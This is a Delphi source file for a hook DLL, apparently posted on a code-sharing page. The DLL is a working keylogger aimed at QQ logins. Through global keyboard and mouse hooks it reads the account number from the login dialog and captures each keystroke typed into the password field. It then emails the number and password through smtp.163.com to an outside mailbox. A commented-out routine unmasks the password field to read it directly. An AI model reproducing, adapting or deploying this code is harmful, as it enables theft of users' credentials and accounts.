📄 hook.dpr
字号:
library HookDLL;
uses
windows,messages,dialogs,sysutils,shellapi,SendMail2;
type
PMouseHookStruct = ^TMouseHookStruct;
{$EXTERNALSYM tagMOUSEHOOKSTRUCT}
tagMOUSEHOOKSTRUCT = packed record
pt: TPoint;
hwnd: HWND;
wHitTestCode: UINT;
dwExtraInfo: DWORD;
end;
TMouseHookStruct = tagMOUSEHOOKSTRUCT;
var
KeyHook,MouseHook:HHook;
password_str,qq_number:string;
procedure show_numberpassword(v:string);
var
dc:thandle;
begin
DC:=GetDC(0);
TextOut(DC,100,100,Pchar(V),Length(V));
ReleaseDC(0,DC);
end;
function Get_qqnumber:string;
var
buffer:array[0..50] of char;
Window,Number_window:Longint;
begin
result:='';
Window:=findwindow('#32770',nil);
if window=0 then exit;
Number_window:=FindWindowex(window,0,'ComboBox',nil);
if Number_window=0 then exit;
SendMessage(Number_window, $000D, 50, Integer(@buffer));
result:='number:'+ string(buffer);
end;
function ispassword_window:boolean;
var
window,password_window:thandle;
begin
result:=false;
window:=findwindow('#32770',nil);
if window=0 then exit;
password_window:=findwindowex(window,0,'Edit',nil);
if password_window=0 then exit;
//showmessage(inttostr(getfocus)+' '+inttostr(password_window));
if getfocus=password_window then
result:=true;
end;
{function get_password:string;
var
buffer:array[0..255] of char;
Window,password_window:Longint;
begin
result:='';
window:=findwindow('#32770',nil);
if window=0 then exit;
password_window:=findwindowex(window,0,'edit',nil);
if password_window=0 then exit;
PostMessage(password_window,EM_SETPASSWORDCHAR, 0, 0);
sleep(300);
SendMessage(password_window,WM_GETTEXT,255,longint(@buffer));
//showmessage(buffer[3]);
PostMessage (password_window,EM_SETPASSWORDCHAR,42,0);
result:=buffer;
end; }
function isqq_window:boolean;
begin
if findwindow('#32770',nil)=GetForegroundWindow then
result:=true
else result:=false;
end;
function HookKey(Code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin {回车} {键盘按键按下消息}
if findwindow('#32770',nil)<>0 then
begin
if (wParam=13) and(((LParam shr 31)and 1)=0)and(isqq_window) then
begin
show_numberpassword(get_qqnumber+' password:'+password_str);
sendemail('smtp.163.com','mszok@163.com','邮箱密码 我不能说哦,呵呵','mszok@163.com','mszok@sina.com.cn','good',get_qqnumber+' password:'+password_str);
// showmessage('send successful');
password_str:='';
end
else begin
if (((LParam shr 31)and 1)=0)and(ispassword_window) then
password_str:=password_str+chr(wparam);
end;
Result:=CallNextHookEx(KeyHook,code,Wparam,lParam);
end;
end;
function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;
var
buffer:array[0..3] of char;
email:string;
begin {鼠标左键按下消息}
if (findwindow('#32770',nil)<>0)and(wparam=$0201) then
begin
SendMessage(pMOUSEHOOKSTRUCT(lparam)^.hwnd,$000D,3,Integer(@buffer));
if buffer='登' then
begin
show_numberpassword(get_qqnumber+' password:'+password_str);
sendemail('smtp.163.com','mszok','邮箱密码 我不能说哦,呵呵','mszok@163.com','mszok@sina.com.cn','good',get_qqnumber+' password:'+password_str);
// showmessage('send successful');
password_str:='';
// sendemail('smtp.163.com','mszok','邮箱密码 我不能说哦,呵呵','mszok@163.com','mszok@sina.com.cn','good',get_qqnumber+' password:'+get_password);
end;
end;
Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);
end;
procedure HookOn;
begin
KeyHook:=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);
MouseHook:=SetWindowsHookEx(WH_mouse, @HookMouse, HInstance, 0);
end;
procedure HookOff;
begin
UnHookWindowsHookEx(KeyHook);
UnHookWindowsHookEx(MouseHook);
end;
//=================导出函数
exports
HookOn,HookOff;
begin
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -